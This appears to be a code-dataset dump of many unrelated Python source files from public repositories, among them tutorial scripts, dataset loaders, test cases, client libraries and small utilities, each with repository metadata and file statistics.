"MIT"
] | null | null | null | ### Code written for STDP tutorial @ CAMP 2016
### Adapted from Song et al 2000 (Competitive Hebbian Learning through spike-timing-dependent synaptic plasticity
### With independent Poisson inputs (relevant figures : Fig 2e)
### Author: Harsha Gurnani
### Date: June 15, 2016
#######################################
f... | 28.607527 | 113 | 0.586544 | 718 | 5,321 | 4.306407 | 0.396936 | 0.006468 | 0.007762 | 0.010349 | 0.049159 | 0.033635 | 0 | 0 | 0 | 0 | 0 | 0.049936 | 0.262357 | 5,321 | 185 | 114 | 28.762162 | 0.737834 | 0.280586 | 0 | 0.0625 | 0 | 0.008929 | 0.225877 | 0.006252 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.017857 | null | null | 0.035714 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
6a1d39962fdfd3af91f053df18f550d50a969ad3 | 310 | py | Python | mvt/datasets/detection2ds/__init__.py | JackMing1986/MultipleVsiualTasks | 7f2bd81c41bcd41af34f6953101038201a4f7d37 | [
"MIT"
] | 2 | 2021-08-29T16:54:42.000Z | 2021-09-27T12:22:10.000Z | mvt/datasets/detection2ds/__init__.py | visriv/multi-visual-tasks | 7f2bd81c41bcd41af34f6953101038201a4f7d37 | [
"MIT"
] | null | null | null | mvt/datasets/detection2ds/__init__.py | visriv/multi-visual-tasks | 7f2bd81c41bcd41af34f6953101038201a4f7d37 | [
"MIT"
] | 1 | 2022-01-16T20:17:50.000Z | 2022-01-16T20:17:50.000Z | from .det_base import DetBaseDataset
from .voc import VOCDataset
from .coco import CocoDataset
from .det_retail import DetRetailDataset
from .det_retail_one import DetRetailOneDataset
__all__ = [
"DetBaseDataset",
"VOCDataset",
"CocoDataset",
"DetRetailDataset",
"DetRetailOneDataset",
]
| 20.666667 | 47 | 0.76129 | 30 | 310 | 7.6 | 0.466667 | 0.092105 | 0.114035 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.164516 | 310 | 14 | 48 | 22.142857 | 0.880309 | 0 | 0 | 0 | 0 | 0 | 0.225806 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.416667 | 0 | 0.416667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
6a285edbc0229c2d36398ddc93da1feef48cf65d | 817 | py | Python | documents/rename.py | capitek-wangsj/toughradius | ee0e6c20d32262ff7a6ace653af5a78340db62a2 | [
"Apache-2.0"
] | null | null | null | documents/rename.py | capitek-wangsj/toughradius | ee0e6c20d32262ff7a6ace653af5a78340db62a2 | [
"Apache-2.0"
] | null | null | null | documents/rename.py | capitek-wangsj/toughradius | ee0e6c20d32262ff7a6ace653af5a78340db62a2 | [
"Apache-2.0"
] | null | null | null | #coding:utf-8
import os
import shutil
if os.path.exists("docs/sources"):
shutil.rmtree("docs/sources")
shutil.move("docs/_sources","docs/sources/")
if os.path.exists("docs/static"):
shutil.rmtree("docs/static/")
shutil.move("docs/_static","docs/static/")
if os.path.exists("docs/modules"):
shutil.rmtree... | 26.354839 | 52 | 0.619339 | 99 | 817 | 5.050505 | 0.353535 | 0.048 | 0.048 | 0.084 | 0.108 | 0 | 0 | 0 | 0 | 0 | 0 | 0.001513 | 0.190942 | 817 | 30 | 53 | 27.233333 | 0.754917 | 0.014688 | 0 | 0 | 0 | 0 | 0.263682 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.090909 | null | null | 0.045455 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
6a29bb96aec63df0bf64af572dbb86758bec4a08 | 5,904 | py | Python | src/fts3/rest/client/pycurlRequest.py | Jar-win/fts-rest | 4db0880cf328037b8587b4d16741c40959b47ad2 | [
"Apache-2.0"
] | null | null | null | src/fts3/rest/client/pycurlRequest.py | Jar-win/fts-rest | 4db0880cf328037b8587b4d16741c40959b47ad2 | [
"Apache-2.0"
] | null | null | null | src/fts3/rest/client/pycurlRequest.py | Jar-win/fts-rest | 4db0880cf328037b8587b4d16741c40959b47ad2 | [
"Apache-2.0"
] | null | null | null | # Copyright notice:
# Copyright Members of the EMI Collaboration, 2013.
#
# See www.eu-emi.eu for details on the copyright holders
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at... | 34.934911 | 125 | 0.613652 | 692 | 5,904 | 5.105491 | 0.310694 | 0.061138 | 0.106991 | 0.135862 | 0.211152 | 0.115483 | 0.061704 | 0.020945 | 0 | 0 | 0 | 0.014808 | 0.29082 | 5,904 | 168 | 126 | 35.142857 | 0.828995 | 0.144478 | 0 | 0.136 | 0 | 0 | 0.044749 | 0.006165 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.048 | 0.056 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
6a2c8303d4caf7e9e1e79076e148c6177fb8c3dc | 2,446 | py | Python | trac/trac/prefs/tests/functional.py | HelionDevPlatform/bloodhound | 206b0d9898159fa8297ad1e407d38484fa378354 | [
"Apache-2.0"
] | 84 | 2015-01-07T03:42:53.000Z | 2022-01-10T11:57:30.000Z | trac/trac/prefs/tests/functional.py | HelionDevPlatform/bloodhound | 206b0d9898159fa8297ad1e407d38484fa378354 | [
"Apache-2.0"
] | 1 | 2021-11-04T12:52:03.000Z | 2021-11-04T12:52:03.000Z | trac/trac/prefs/tests/functional.py | HelionDevPlatform/bloodhound | 206b0d9898159fa8297ad1e407d38484fa378354 | [
"Apache-2.0"
] | 35 | 2015-01-06T11:30:27.000Z | 2021-11-10T16:34:52.000Z | #!/usr/bin/python
from trac.tests.functional import *
#TODO: split this into multiple smaller testcases
class TestPreferences(FunctionalTwillTestCaseSetup):
def runTest(self):
"""Set preferences for admin user"""
prefs_url = self._tester.url + "/prefs"
tc.follow('Preferences')
tc.u... | 34.450704 | 70 | 0.638185 | 271 | 2,446 | 5.682657 | 0.372694 | 0.046753 | 0.032468 | 0.042208 | 0.325325 | 0.325325 | 0.325325 | 0.325325 | 0.246104 | 0.246104 | 0 | 0.019007 | 0.225675 | 2,446 | 70 | 71 | 34.942857 | 0.794087 | 0.106705 | 0 | 0.433962 | 0 | 0 | 0.250698 | 0.045581 | 0 | 0 | 0 | 0.014286 | 0 | 1 | 0.075472 | false | 0 | 0.037736 | 0 | 0.188679 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
6a2e712f53c91fb18f81f948be64e2f8827efac2 | 1,051 | py | Python | badapple.py | JUSTWILLPOWER/Play-Bad-Apple-with-Raspberry-Pi-and-Nokia-5110 | add7a43e8c2490d43c557a92a4aef0cef3207938 | [
"Apache-2.0"
] | 2 | 2021-02-01T13:14:15.000Z | 2021-07-08T08:10:56.000Z | badapple.py | JUSTWILLPOWER/Play-Bad-Apple-with-Raspberry-Pi-and-Nokia-5110 | add7a43e8c2490d43c557a92a4aef0cef3207938 | [
"Apache-2.0"
] | 1 | 2021-11-18T08:28:39.000Z | 2021-11-18T08:28:39.000Z | badapple.py | JUSTWILLPOWER/Play-Bad-Apple-with-Raspberry-Pi-and-Nokia-5110 | add7a43e8c2490d43c557a92a4aef0cef3207938 | [
"Apache-2.0"
] | 1 | 2021-01-16T08:30:43.000Z | 2021-01-16T08:30:43.000Z | import time
import Adafruit_Nokia_LCD as LCD
import Adafruit_GPIO.SPI as SPI
import Image
import zipfile
import StringIO
# In order to play music
import pygame
print 'Press Ctrl-C to quit.'
# Raspberry Pi hardware SPI config:
DC = 23
RST = 24
SPI_PORT = 0
SPI_DEVICE = 0
# Hardware SPI usage:
disp = LCD.PCD8544(DC, ... | 21.02 | 87 | 0.720266 | 165 | 1,051 | 4.533333 | 0.478788 | 0.040107 | 0.037433 | 0.045455 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.02567 | 0.147479 | 1,051 | 49 | 88 | 21.44898 | 0.809152 | 0.29686 | 0 | 0.074074 | 0 | 0 | 0.089532 | 0.034435 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.259259 | null | null | 0.037037 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
6a322a1b415a06c87842b9918726b784fffcc677 | 4,538 | py | Python | yom/cli.py | hackprime/yom | 2777c51329cfcdc86677e7cf08011c6d7a708b2b | [
"BSD-3-Clause"
] | null | null | null | yom/cli.py | hackprime/yom | 2777c51329cfcdc86677e7cf08011c6d7a708b2b | [
"BSD-3-Clause"
] | null | null | null | yom/cli.py | hackprime/yom | 2777c51329cfcdc86677e7cf08011c6d7a708b2b | [
"BSD-3-Clause"
] | null | null | null | import sys
# sys.path.insert(0, '/Users/hackprime/Projects/opensource/yom')
import argparse as a
from grab import Grab
from humanfriendly.tables import format_pretty_table, format_robust_table
from yom import views, conf
from yom.constants import fields, actions
from yom.errors import *
from yom.crawler import authen... | 31.957746 | 79 | 0.60357 | 525 | 4,538 | 5.028571 | 0.278095 | 0.040909 | 0.077273 | 0.037879 | 0.161742 | 0.041667 | 0.041667 | 0.041667 | 0.041667 | 0.041667 | 0 | 0.003593 | 0.263993 | 4,538 | 141 | 80 | 32.184397 | 0.786826 | 0.105333 | 0 | 0.107843 | 0 | 0 | 0.138621 | 0.005683 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.088235 | null | null | 0.068627 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
6a3276f17d4cc843f1e599a9069a69b653762aa6 | 10,528 | py | Python | beartype/vale/_core/_valecorebinary.py | posita/beartype | e56399686e1f2ffd5128a4030b19314504e32450 | [
"MIT"
] | null | null | null | beartype/vale/_core/_valecorebinary.py | posita/beartype | e56399686e1f2ffd5128a4030b19314504e32450 | [
"MIT"
] | null | null | null | beartype/vale/_core/_valecorebinary.py | posita/beartype | e56399686e1f2ffd5128a4030b19314504e32450 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# --------------------( LICENSE )--------------------
# Copyright (c) 2014-2021 Beartype authors.
# See "LICENSE" for further details.
'''
**Core unary beartype validators** (i.e., :class:`BeartypeValidator` subclasses
implementing binary operations on pairs of lower-le... | 41.944223 | 80 | 0.639248 | 1,083 | 10,528 | 5.972299 | 0.2253 | 0.068027 | 0.054422 | 0.054422 | 0.689394 | 0.640074 | 0.614255 | 0.614255 | 0.614255 | 0.587353 | 0 | 0.00586 | 0.254369 | 10,528 | 250 | 81 | 42.112 | 0.818089 | 0.53239 | 0 | 0.592233 | 0 | 0 | 0.123586 | 0.063316 | 0 | 0 | 0 | 0.012 | 0 | 1 | 0.029126 | false | 0 | 0.058252 | 0 | 0.145631 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
6a33abb3c2c9ab5780af6fbd1564d228a4630bb1 | 975 | py | Python | examples/class_analyze_feature_size_distribution_TEST.py | rengezri/imsis | 9db3c087129b1a62b9f9c0f84b5b1389288cbb44 | [
"MIT"
] | 1 | 2022-01-22T19:49:12.000Z | 2022-01-22T19:49:12.000Z | examples/class_analyze_feature_size_distribution_TEST.py | rengezri/imsis | 9db3c087129b1a62b9f9c0f84b5b1389288cbb44 | [
"MIT"
] | null | null | null | examples/class_analyze_feature_size_distribution_TEST.py | rengezri/imsis | 9db3c087129b1a62b9f9c0f84b5b1389288cbb44 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
'''
class analyze feature distribution test
'''
import os
import imsis as ims
print("Starting...")
# Load and generate test images
fn = r".\images\rice.jpg"
im_rice = ims.Image.load(fn)
im_rice_gray = ims.Image.Convert.toGray(im_rice)
im_rice_gray = ims.Image.Convert.to8bit(... | 25.657895 | 118 | 0.725128 | 135 | 975 | 5.118519 | 0.466667 | 0.052098 | 0.057887 | 0.037627 | 0.072359 | 0.072359 | 0 | 0 | 0 | 0 | 0 | 0.016647 | 0.137436 | 975 | 37 | 119 | 26.351351 | 0.804994 | 0.230769 | 0 | 0 | 1 | 0 | 0.153076 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.125 | 0 | 0.125 | 0.1875 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
6a342688b242a9a6a2ec39c246b38bb6dd0f3422 | 3,690 | py | Python | language.py | seanjh/bkm-ask | dcc1bbfd9f29a41bd5866f2bda9e3c1ec67a75e9 | [
"MIT"
] | null | null | null | language.py | seanjh/bkm-ask | dcc1bbfd9f29a41bd5866f2bda9e3c1ec67a75e9 | [
"MIT"
] | null | null | null | language.py | seanjh/bkm-ask | dcc1bbfd9f29a41bd5866f2bda9e3c1ec67a75e9 | [
"MIT"
] | null | null | null | #!/usr/bin/env python2
import json
import re
import string
import snippets
from pattern.en import parse, parsetree, pprint
CUTOFF = 5
EDITED_PATTERN = re.compile(r"(\s)*(DRAFT[\s-]{0,3})*(.+)(\s)*")
def is_visitor_message(message):
return message.get('host_user_id') is None
def extract_snippet_questions_iter... | 31.271186 | 78 | 0.627371 | 477 | 3,690 | 4.649895 | 0.224319 | 0.040577 | 0.020289 | 0.021641 | 0.407124 | 0.36294 | 0.36294 | 0.313796 | 0.266005 | 0.227232 | 0 | 0.005902 | 0.265312 | 3,690 | 117 | 79 | 31.538462 | 0.812246 | 0.005691 | 0 | 0.227273 | 0 | 0 | 0.065158 | 0.027808 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.056818 | null | null | 0.034091 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
6a39fbc67829b1878a66874ea91f863c7f96993c | 1,773 | py | Python | almost-sorted.py | ernestoalarcon/competitiveprogramming | f51644f16212fd5a44a56bd36f371c605e142fb3 | [
"MIT"
] | null | null | null | almost-sorted.py | ernestoalarcon/competitiveprogramming | f51644f16212fd5a44a56bd36f371c605e142fb3 | [
"MIT"
] | null | null | null | almost-sorted.py | ernestoalarcon/competitiveprogramming | f51644f16212fd5a44a56bd36f371c605e142fb3 | [
"MIT"
] | null | null | null | #!/bin/python
# Solution for https://www.hackerrank.com/challenges/almost-sorted
n = int(raw_input().strip())
values = [int(s) for s in raw_input().strip().split(' ')]
ascending = 1
descending = 2
def is_ascending_or_descending(data, direction):
if len(data) <= 1:
return True
item = data[0]
for i ... | 31.660714 | 90 | 0.536943 | 265 | 1,773 | 3.418868 | 0.222642 | 0.046358 | 0.02649 | 0.049669 | 0.178808 | 0.178808 | 0.094923 | 0.094923 | 0.057395 | 0 | 0 | 0.024242 | 0.348562 | 1,773 | 56 | 91 | 31.660714 | 0.760173 | 0.066554 | 0 | 0.26 | 0 | 0 | 0.015133 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.14 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
6a429560188eb4f79f0eb6e29b3332cfa6a80bff | 800 | py | Python | ginga/conftest.py | profxj/ginga | a5f447b760ac38dafa52181b3f99156545a6f2e7 | [
"BSD-3-Clause"
] | null | null | null | ginga/conftest.py | profxj/ginga | a5f447b760ac38dafa52181b3f99156545a6f2e7 | [
"BSD-3-Clause"
] | 2 | 2017-07-25T15:22:13.000Z | 2020-04-25T19:34:30.000Z | ginga/conftest.py | profxj/ginga | a5f447b760ac38dafa52181b3f99156545a6f2e7 | [
"BSD-3-Clause"
] | 3 | 2018-02-09T20:06:30.000Z | 2020-03-30T02:31:44.000Z | import os
try:
from pytest_astropy_header.display import PYTEST_HEADER_MODULES, TESTED_VERSIONS
except ImportError:
TESTED_VERSIONS = {}
PYTEST_HEADER_MODULES = {}
try:
from .version import version
except ImportError:
version = 'unknown'
# Uncomment the following line to treat all DeprecationWarn... | 29.62963 | 84 | 0.79875 | 101 | 800 | 6.09901 | 0.524752 | 0.077922 | 0.123377 | 0.097403 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.13375 | 800 | 26 | 85 | 30.769231 | 0.888889 | 0.28875 | 0 | 0.25 | 0 | 0 | 0.071048 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.375 | 0 | 0.375 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
6a43558a54de15326fef73f67bf975ee3581ed03 | 2,257 | py | Python | src/lib/win.py | kvnxiao/keypirinha-winsys | ebe5a088f7bfa1d8cfc0dc7b99a9eb068dc2377d | [
"MIT"
] | 32 | 2017-12-20T13:18:37.000Z | 2021-11-08T12:08:40.000Z | src/lib/win.py | kvnxiao/keypirinha-winsys | ebe5a088f7bfa1d8cfc0dc7b99a9eb068dc2377d | [
"MIT"
] | 5 | 2018-09-19T12:11:06.000Z | 2022-03-28T00:32:36.000Z | src/lib/win.py | kvnxiao/keypirinha-winsys | ebe5a088f7bfa1d8cfc0dc7b99a9eb068dc2377d | [
"MIT"
] | 5 | 2019-05-23T00:00:41.000Z | 2022-03-31T11:53:28.000Z | import subprocess
from ctypes import windll
SHERB_NOCONFIRMATION = 1
EWX_LOGOFF = 0x00000000
CREATE_NO_WINDOW = 0x08000000
def shell_open(location):
subprocess.call(["cmd", "/c", "explorer", location], creationflags=CREATE_NO_WINDOW)
# System
def empty_recycling_bin():
windll.shell32.SHEmptyRecycleBinA(Non... | 17.912698 | 88 | 0.732388 | 278 | 2,257 | 5.68705 | 0.298561 | 0.125237 | 0.12334 | 0.15623 | 0.036686 | 0.036686 | 0 | 0 | 0 | 0 | 0 | 0.017418 | 0.135135 | 2,257 | 125 | 89 | 18.056 | 0.79252 | 0.012849 | 0 | 0 | 0 | 0 | 0.214928 | 0.122752 | 0 | 0 | 0.008993 | 0 | 0 | 1 | 0.460317 | false | 0 | 0.031746 | 0 | 0.492063 | 0.031746 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
dbe61394bc39b39b0e54402d7dc93d9f5a3eb795 | 1,453 | py | Python | src/connectedvmware/azext_connectedvmware/vendored_sdks/aio/operations/__init__.py | wwendyc/azure-cli-extensions | 6b4099676bb5d43fdb57bc69f9c0281cca510a0a | [
"MIT"
] | 1 | 2021-12-17T01:27:06.000Z | 2021-12-17T01:27:06.000Z | src/connectedvmware/azext_connectedvmware/vendored_sdks/aio/operations/__init__.py | wwendyc/azure-cli-extensions | 6b4099676bb5d43fdb57bc69f9c0281cca510a0a | [
"MIT"
] | 4 | 2020-09-07T12:56:24.000Z | 2021-02-04T12:19:20.000Z | src/connectedvmware/azext_connectedvmware/vendored_sdks/aio/operations/__init__.py | wwendyc/azure-cli-extensions | 6b4099676bb5d43fdb57bc69f9c0281cca510a0a | [
"MIT"
] | 5 | 2020-09-08T22:46:48.000Z | 2020-11-08T14:54:35.000Z | # coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may ... | 45.40625 | 94 | 0.752237 | 117 | 1,453 | 9.059829 | 0.581197 | 0.150943 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.000767 | 0.102546 | 1,453 | 31 | 95 | 46.870968 | 0.812117 | 0.311081 | 0 | 0 | 0 | 0 | 0.238671 | 0.190332 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.454545 | 0 | 0.454545 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
dbe650595c8ace35fd1a49261ce7f9146ebb1ece | 858 | py | Python | draalcore/middleware/current_user.py | jojanper/draalcore | 3d3f5a53efe32c721c34d7e48267328a4e9e8402 | [
"MIT"
] | 1 | 2017-04-25T10:54:55.000Z | 2017-04-25T10:54:55.000Z | draalcore/middleware/current_user.py | jojanper/draalcore | 3d3f5a53efe32c721c34d7e48267328a4e9e8402 | [
"MIT"
] | 1 | 2022-02-10T06:48:36.000Z | 2022-02-10T06:48:36.000Z | draalcore/middleware/current_user.py | jojanper/draalcore | 3d3f5a53efe32c721c34d7e48267328a4e9e8402 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""Middleware for storing current user"""
from threading import local
# Project imports
from draalcore.middleware.base import BaseMiddleware
__author__ = "Juha Ojanpera"
__copyright__ = "Copyright 2014,2021"
__email__ = "juha.ojanpera@gmail.com"
__status__ = "Development... | 23.833333 | 60 | 0.7331 | 103 | 858 | 5.76699 | 0.495146 | 0.121212 | 0.080808 | 0.06734 | 0.151515 | 0.151515 | 0.151515 | 0.151515 | 0 | 0 | 0 | 0.012465 | 0.158508 | 858 | 35 | 61 | 24.514286 | 0.810249 | 0.228438 | 0 | 0 | 0 | 0 | 0.119565 | 0.035714 | 0 | 0 | 0 | 0 | 0 | 1 | 0.235294 | false | 0 | 0.117647 | 0 | 0.529412 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
dbe916e7483e21c32ba0de8787c076a802c449a1 | 533 | py | Python | Scripts/Older/Python/multiconstaint.py | canderson770/Maya.Tools | 09fe54e5ac64a65fbfc28d3aa396667a31504653 | [
"MIT"
] | 1 | 2019-02-19T05:42:52.000Z | 2019-02-19T05:42:52.000Z | Scripts/Older/Python/multiconstaint.py | canderson770/Maya.Tools | 09fe54e5ac64a65fbfc28d3aa396667a31504653 | [
"MIT"
] | null | null | null | Scripts/Older/Python/multiconstaint.py | canderson770/Maya.Tools | 09fe54e5ac64a65fbfc28d3aa396667a31504653 | [
"MIT"
] | null | null | null | import maya.cmds as cmds
def multiconstraint(sel_method):
''''''
sels = cmds.ls(sl=True)
if len(sels) %2:
cmds.error("Select an even number of nodes before running")
targets, nodes = [],[]
if(sel_method):
targets = sels[0::2] #[start:end:step]
nodes = sels[1::2]
else:
targets ... | 22.208333 | 61 | 0.621013 | 75 | 533 | 4.386667 | 0.493333 | 0.06383 | 0.072948 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.021583 | 0.217636 | 533 | 24 | 62 | 22.208333 | 0.767386 | 0.06379 | 0 | 0 | 0 | 0 | 0.091463 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.066667 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
dbf47599e5926b09432f569aaa8a5bcb309879b3 | 20,756 | py | Python | pycti/entities/opencti_observed_data.py | imuledx/client-python | 4f4c407b86d6a6778892a09da38c1ba512e69bff | [
"Apache-2.0"
] | null | null | null | pycti/entities/opencti_observed_data.py | imuledx/client-python | 4f4c407b86d6a6778892a09da38c1ba512e69bff | [
"Apache-2.0"
] | null | null | null | pycti/entities/opencti_observed_data.py | imuledx/client-python | 4f4c407b86d6a6778892a09da38c1ba512e69bff | [
"Apache-2.0"
] | null | null | null | # coding: utf-8
import json
class ObservedData:
def __init__(self, opencti):
self.opencti = opencti
self.properties = """
id
standard_id
entity_type
parent_types
spec_version
created_at
updated_at
crea... | 36.097391 | 170 | 0.427491 | 1,528 | 20,756 | 5.590314 | 0.132199 | 0.052681 | 0.032311 | 0.064622 | 0.44088 | 0.382814 | 0.329665 | 0.276282 | 0.230274 | 0.191875 | 0 | 0.001163 | 0.502987 | 20,756 | 574 | 171 | 36.160279 | 0.826871 | 0.000626 | 0 | 0.414487 | 0 | 0 | 0.479402 | 0.044976 | 0 | 0 | 0 | 0 | 0 | 1 | 0.016097 | false | 0 | 0.004024 | 0 | 0.046278 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
dbf55629832e01f749624b460ddccdc0755d03b8 | 3,689 | py | Python | deliravision/torch/models/decoders/extractor.py | delira-dev/vision_torch | d944aa67d319bd63a2add5cb89e8308413943de6 | [
"BSD-2-Clause"
] | 4 | 2019-08-03T09:56:50.000Z | 2019-09-05T09:32:06.000Z | deliravision/torch/models/decoders/extractor.py | delira-dev/vision_torch | d944aa67d319bd63a2add5cb89e8308413943de6 | [
"BSD-2-Clause"
] | 23 | 2019-08-03T14:16:47.000Z | 2019-10-22T10:15:10.000Z | deliravision/torch/models/decoders/extractor.py | delira-dev/vision_torch | d944aa67d319bd63a2add5cb89e8308413943de6 | [
"BSD-2-Clause"
] | null | null | null | import torch
class ForwardHookTorch:
def __init__(self, module: torch.nn.Module, overwrite_feats=False):
"""
Forward hook to extract output from layer
Parameters
----------
module : torch.nn.Module
module where output should be extracted from
overwrite_... | 24.111111 | 73 | 0.545676 | 384 | 3,689 | 5.140625 | 0.273438 | 0.042553 | 0.026342 | 0.042553 | 0.079027 | 0.065856 | 0.065856 | 0.065856 | 0.065856 | 0.065856 | 0 | 0.000427 | 0.365682 | 3,689 | 152 | 74 | 24.269737 | 0.843162 | 0.444836 | 0 | 0.055556 | 0 | 0 | 0.029598 | 0 | 0 | 0 | 0 | 0 | 0.027778 | 1 | 0.25 | false | 0 | 0.027778 | 0 | 0.444444 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
